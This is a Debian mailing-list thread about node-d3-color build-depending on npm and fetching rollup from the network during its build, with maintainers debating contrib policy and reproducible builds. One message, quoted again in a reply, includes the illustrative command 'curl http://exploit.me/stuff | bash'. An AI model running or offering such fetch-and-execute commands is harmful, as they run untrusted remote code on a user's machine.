Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing
On Thu, Oct 05, 2017 at 02:42:30PM +0200, Marco d'Itri wrote: On Oct 03, Gunnar Wolf wrote: So, contrib is _explicitly_ meant for software that does not meet the DFSG, not for random stuff that cannot be packaged for convenience or different issues. I am almost sure that when I joined the project contrib was also the place for sub-standard packages. While my memory could be faulty in some way since that was 20 years ago, I know that my first package was first uploaded to contrib because of technical reasons. I vaguely remember that may have been true, but I also vaguely remember that there was a conscious decision that it was silly to distribute sub-standard packages... Mike Stone -- Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing
On ബുധന് 04 ഒക്ടോബര് 2017 09:27 രാവിലെ, Sean Whitton wrote: > This is not a fair response. > > If your work involved fixing bugs in software that is already in the > archive, you could quite fairly call others out for demanding changes, > but not being willing to put in the effort. > > In this case, others are objecting to you /adding/ something new to the > archive, where this requires (what is in the view of some) a misuse of > contrib. I was only trying to show my record of trying to fix the issue the right way and not just finding loop holes as some people imply. It is only fair for me to ask people to take things in perspective. I also wanted to emphasis some people just want see a solution as just keep out these packages and I want to contrast my efforts. We are a do-o-cratic collective and people who are doing the work really have an edge in our collective. signature.asc Description: OpenPGP digital signature -- Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing
On ചൊവ്വ 03 ഒക്ടോബര് 2017 11:04 വൈകു, Gunnar Wolf wrote: > I *do* take note, however, of: > > Examples of packages which would be included in contrib are: > > • free packages which require contrib, non-free packages or packages > which are not in our archive at all for compilation or execution, > and > • wrapper packages or other sorts of free accessories for > non-free programs. > > The first point would seem to cover your use case. However, it's not > necessarily covering (...) compilation or execution via code just > downloaded. It does not cover the equivalent of > "curl http://exploit.me/stuff | bash" Lets take the two issues separately. 1. Whether they are suitable for contrib 2. Whether network can be used during build. > I would strongly prefer to ship pre-built binaries as part of your > environment in debian/. > > I guess the ftp-masters approved the packages you mention as they > *looked* sane, but not because of a deeper inspection of how they were > built. I see² you have 17 packages in contrib, out of which 14 are > node-*. Do they all use npm? Would you appreciate if I took a look at > them and filed bugs accordingly to ask for ftp-masters' opinion? Like I noted in my previous mail, I already agreed to upload pre-built binaries and my contention is only on point 1. You may ask ftp-masters on suitability of them being in contrib even with pre-built binaries. I have also explained in my previous mails that these are always built on a maintainer's machine as buildds already prohibit network access during build. So we are only talking about a change in perception. signature.asc Description: OpenPGP digital signature -- Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing
Pirate Praveen dijo [Tue, Oct 03, 2017 at 12:12:54PM +0530]: > > I am completely with Sean here; I read the following messages, and am > > happy a better resolution was found. But, FWIW, I'll support Sean's > > interpretation - Contrib and non-free are *not* places where we can > > happily breach any bits of policy; they are exclusively for things > > that cannot be shipped in Debian Main due to their DFSG status. > > I cannot accept arbitrary interpretations of policy. When build tools > are not available in main, they cannot go to main, and if the software > itself is Free Software, it can go to contrib. If you disagree, please > get the policy clarified. As per the current policy, these packages > clearly qualified for contrib and these were already accepted by ftp > masters into the archive. You could go to CTTE and challenge the > decision of ftp masters. Let me quote the Debian Social Contract: Works that do not meet our free software standards We acknowledge that some of our users require the use of works that do not conform to the Debian Free Software Guidelines. We have created "contrib" and "non-free" areas in our archive for these works. (...) So, contrib is _explicitly_ meant for software that does not meet the DFSG, not for random stuff that cannot be packaged for convenience or different issues. According to Policy, section 2: Packages in the other archive areas (contrib, non-free) are not considered to be part of the Debian distribution, although we support their use and provide infrastructure for them (such as our bug-tracking system and mailing lists). This Debian Policy Manual applies to these packages as well. Policy says that all packages in contrib and non-free should be policy compliant. Further, in 2.2.2: The contrib archive area contains supplemental packages intended to work with the Debian distribution, but which require software outside of the distribution to either build or function. Every package in contrib must comply with the DFSG. In addition, the packages in contrib • must not be so buggy that we refuse to support them, and • must meet all policy requirements presented in this manual. For this section, yes, I will be making interpretation - But I hold that we would be hard-pressed to provide support for something built with a compiler downloaded at build time. Maybe, as Simon suggests, if your debian/ includes hashes for the compiler version being used (and everything it pulls in via npm)... But in that case, it's probably better to include the tar.gz as part of your debian/ I *do* take note, however, of: Examples of packages which would be included in contrib are: • free packages which require contrib, non-free packages or packages which are not in our archive at all for compilation or execution, and • wrapper packages or other sorts of free accessories for non-free programs. The first point would seem to cover your use case. However, it's not necessarily covering (...) compilation or execution via code just downloaded. It does not cover the equivalent of "curl http://exploit.me/stuff | bash" > Alternatively, those who care enough about the issue can help get these > tools into main. I have been doing just that over the last years (grunt, > gulp, babel, jison, webpack to name a few, each with 100s of > dependencies) so many of the packages currently in main could go there. > Since the tools are just so many and the people packaging them are > handful, it will take quite a while for all these tools to be in main > and I'm going to continue using contrib for these packages until that time. > > You can also check the record of people who are most vocal over the > issue (not just in this thread, but in earlier discussions about > handlebars/dfsg/browserify) and compare who is helping fix the issue and > who is just talking. In this case, I'm clearly in the group of those who are somewhat vocal, and are not helping your efforts. Well, I did quite a bit of effort in a related matter with the work I put into packaging Drupal8, which I dropped in the end¹ precisely due to it not being cleanly packagable for Debian. ¹ http://gwolf.org/node/4087 > > And, yes, network access during a build... Is a clear no-go. Specially > > if as a project we are committed to this so neat Reproducible Builds > > thingy that has made so many among us proud to be part a project where > > an ages-long problem is finally being tackled - And quite > > successfully, even! > > I thought building these things (making sure the source corresponds to > the distributed binaries), though using tools outside archive, was > preferred over shipping pre-built binaries. But it seems shipping > pre-built binaries are preferred. It looks to me like a misplaced > compromise, but I will follow this advice and ship pre-built binaries > next time without building them using npm. I would strongly pref
Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing
On ചൊവ്വ 03 ഒക്ടോബര് 2017 10:10 രാവിലെ, Gunnar Wolf wrote: > I am completely with Sean here; I read the following messages, and am > happy a better resolution was found. But, FWIW, I'll support Sean's > interpretation - Contrib and non-free are *not* places where we can > happily breach any bits of policy; they are exclusively for things > that cannot be shipped in Debian Main due to their DFSG status. I cannot accept arbitrary interpretations of policy. When build tools are not available in main, they cannot go to main, and if the software itself is Free Software, it can go to contrib. If you disagree, please get the policy clarified. As per the current policy, these packages clearly qualified for contrib and these were already accepted by ftp masters into the archive. You could go to CTTE and challenge the decision of ftp masters. Alternatively, those who care enough about the issue can help get these tools into main. I have been doing just that over the last years (grunt, gulp, babel, jison, webpack to name a few, each with 100s of dependencies) so many of the packages currently in main could go there. Since the tools are just so many and the people packaging them are handful, it will take quite a while for all these tools to be in main and I'm going to continue using contrib for these packages until that time. You can also check the record of people who are most vocal over the issue (not just in this thread, but in earlier discussions about handlebars/dfsg/browserify) and compare who is helping fix the issue and who is just talking. > And, yes, network access during a build... Is a clear no-go. Specially > if as a project we are committed to this so neat Reproducible Builds > thingy that has made so many among us proud to be part a project where > an ages-long problem is finally being tackled - And quite > successfully, even! > I thought building these things (making sure the source corresponds to the distributed binaries), though using tools outside archive, was preferred over shipping pre-built binaries. But it seems shipping pre-built binaries are preferred. It looks to me like a misplaced compromise, but I will follow this advice and ship pre-built binaries next time without building them using npm. signature.asc Description: OpenPGP digital signature -- Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing
Sean Whitton dijo [Sat, Sep 30, 2017 at 12:10:54PM -0700]: > > The whole purpose of having contrib and non-free is to host packages > > that can't be in main, either permanently or temporarily. I fail to > > see how it is against the spirit. > > To my mind, at least, the purpose of contrib and non-free is for > packages that can't be in main for DFSG reasons /alone/. Social > Contract item 5: > > We acknowledge that some of our users require the use of works that > do not conform to the Debian Free Software Guidelines. We have > created "contrib" and "non-free" areas in our archive for these > works. > (...) > I am still very uneasy about serving our users -- even our users of > Debian unstable -- with packages that are built using material pulled > from the net. I think that people who add 'contrib' to their > sources.list do not expect this kind of thing. I am completely with Sean here; I read the following messages, and am happy a better resolution was found. But, FWIW, I'll support Sean's interpretation - Contrib and non-free are *not* places where we can happily breach any bits of policy; they are exclusively for things that cannot be shipped in Debian Main due to their DFSG status. And, yes, network access during a build... Is a clear no-go. Specially if as a project we are committed to this so neat Reproducible Builds thingy that has made so many among us proud to be part a project where an ages-long problem is finally being tackled - And quite successfully, even! -- Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing
On ഞായര് 01 ഒക്ടോബര് 2017 01:21 രാവിലെ, Sean Whitton wrote: > Hello, > > On Sat, Sep 30 2017, Christian Seiler wrote: > >> Ack. Wouldn't it be preferable to just include a copy of the prebuilt >> node-d3-color "binary" alongside its actual source tarball and have >> debian/rules just copy the prebuilt "binary" for now? That would >> fulfill one of the widely accepted use cases for contrib (needs >> something currently not in Debian to build, but is otherwise free >> software - see e.g. the VirtualBox BIOS requiring a non-free compiler) >> much closer than downloading stuff from the network. > > This does seem preferable to the current situation. > I just discovered a better way. I can use babel (which is on its way to main, currently in NEW) instead of rollup and node-d3-color can go to main. rollup has transpile+bundling features. In this case, we can replace the transpile feature with babel. gitlab uses webpack anyway for bundling (hence we don't need rollup for bundling in this case). signature.asc Description: OpenPGP digital signature -- Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing
On 09/30/2017 09:10 PM, Sean Whitton wrote: > On Sun, Oct 01 2017, Pirate Praveen wrote: >> Packaging of rollup is stuck [1] and I can make progress with gitlab >> package with node-d3-color in contrib. Quite a lot of work can happen >> even with gitlab in contrib, like making sure everything is configured >> correctly, making sure update from previous version is working, people >> can test and report bugs while we are working on getting all >> dependencies in main etc. If I simply wait for rollup to arrive in >> main, I can't do any of those. > > Okay, I see how this would be useful -- thanks for the explanation. > > I am still very uneasy about serving our users -- even our users of > Debian unstable -- with packages that are built using material pulled > from the net. I think that people who add 'contrib' to their > sources.list do not expect this kind of thing. Ack. Wouldn't it be preferable to just include a copy of the prebuilt node-d3-color "binary" alongside its actual source tarball and have debian/rules just copy the prebuilt "binary" for now? That would fulfill one of the widely accepted use cases for contrib (needs something currently not in Debian to build, but is otherwise free software - see e.g. the VirtualBox BIOS requiring a non-free compiler) much closer than downloading stuff from the network. I think that requiring network access during build is a big no-no in general, regardless of where the software is sorted into. For example it fails the dissident test. And it ensures that that what's in the Debian source package is that what you actually get in the end, not subject to the whim of server operators outside of Debian during build time (which may be at any point as there are binNMUs). Regards, Christian -- Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing
On 09/30/2017 09:26 PM, Sean Whitton wrote: > To my mind, this complies with the letter of Policy but not its spirit. The whole purpose of having contrib and non-free is to host packages that can't be in main, either permanently or temporarily. I fail to see how it is against the spirit. > Could you explain why it is so urgent to have node-d3-color in Debian > that it can't wait on rollup arriving in main? > This is in dependency chain of gitlab https://wiki.debian.org/Javascript/Nodejs/Tasks/gitlab Packaging of rollup is stuck [1] and I can make progress with gitlab package with node-d3-color in contrib. Quite a lot of work can happen even with gitlab in contrib, like making sure everything is configured correctly, making sure update from previous version is working, people can test and report bugs while we are working on getting all dependencies in main etc. If I simply wait for rollup to arrive in main, I can't do any of those. It is much easier to move a package from contrib to main than start packaging from scratch after rollup is in main. I have been able to move many packages to main, which needed babel, using this same strategy. [1] It needs someone to port acorn-object-spread to acorn 5 https://github.com/UXtemple/acorn-object-spread/issues/5 signature.asc Description: OpenPGP digital signature -- Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing
Le 29 septembre 2017 19:34:24 GMT+02:00, "Jérémy Lal" a écrit : >2017-09-29 19:24 GMT+02:00 Andreas Beckmann : > >> Package: node-d3-color >> Version: 1.0.3-1 >> Severity: serious >> Justification: Build-Depends not satisfiable in testing >> Control: block -1 with 857986 >> Control: clone -1 -2 -3 -4 -5 -6 -7 -8 -9 -10 >> Control: reassign -2 node-d3-format 1.2.0-1 >> Control: retitle -2 node-d3-format: B-D npm not available in testing >> Control: block -2 with 857986 >> Control: reassign -3 node-d3-queue 3.0.7-1 >> Control: retitle -3 node-d3-queue: B-D npm not available in testing >> Control: block -3 with 857986 >> Control: reassign -4 node-d3-selection 1.1.0-1 >> Control: retitle -4 node-d3-selection: B-D npm not available in >testing >> Control: block -4 with 857986 >> Control: reassign -5 d3-timer 1.0.7-1 >> Control: retitle -5 d3-timer: B-D npm not available in testing >> Control: block -5 with 857986 >> Control: reassign -6 node-filesize 3.5.10+dfsg-1 >> Control: retitle -6 node-filesize: B-D npm not available in testing >> Control: block -6 with 857986 >> Control: reassign -7 node-gulp-babel 7.0.0-1 >> Control: retitle -7 node-gulp-babel: B-D npm not available in testing >> Control: block -7 with 857986 >> Control: reassign -8 node-babel-plugin-transform-define 1.3.0-1 >> Control: retitle -8 node-babel-plugin-transform-define: B-D npm not >> available in testing >> Control: block -8 with 857986 >> Control: reassign -9 node-babel 6.25.0+dfsg-8 >> Control: retitle -9 node-babel: B-D npm not available in testing >> Control: block -9 with 857986 >> Control: reassign -10 node-babylon 6.18.0-1 >> Control: retitle -10 node-babylon: B-D npm not available in testing >> Control: block -10 with 857986 >> >> >> Hi, >> >> with npm not available in testing (and according to #857986 this will >> not change in the near future), these node-* packages must be kept >> out of testing, since they cannot be rebuilt in testing (regardless >of >> any external resources they might need additionally). >> > >Build-Depending on npm is a sign something very wrong, policy-breaking, >is happening, like downloading a npm module during build. > >An example of how wrong the problem is: >``` >override_dh_auto_build: > npm install rollup >``` > >ouch > >I cc-ed everyone to make sure this doesn't happen again. Please fill a lintian bug > >Jérémy -- Envoyé de mon appareil Android avec K-9 Mail. Veuillez excuser ma brièveté. -- Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel
Re: [Pkg-javascript-devel] Bug#877212: node-d3-color: B-D npm not available in testing
On വെള്ളി 29 സെപ്റ്റംബര് 2017 11:04 വൈകു, Jérémy Lal wrote: > > Build-Depending on npm is a sign something very wrong, policy-breaking, > is happening, like downloading a npm module during build. Hence this is in contrib and not main (hence complying with policy), and this is a temporary step until we get rollup in main. Examples of packages which would be included in contrib are: free packages which require contrib, non-free packages or packages which are not in our archive at all for compilation or execution, and https://www.debian.org/doc/debian-policy/ch-archive.html#s-contrib signature.asc Description: OpenPGP digital signature -- Pkg-javascript-devel mailing list Pkg-javascript-devel@lists.alioth.debian.org http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-javascript-devel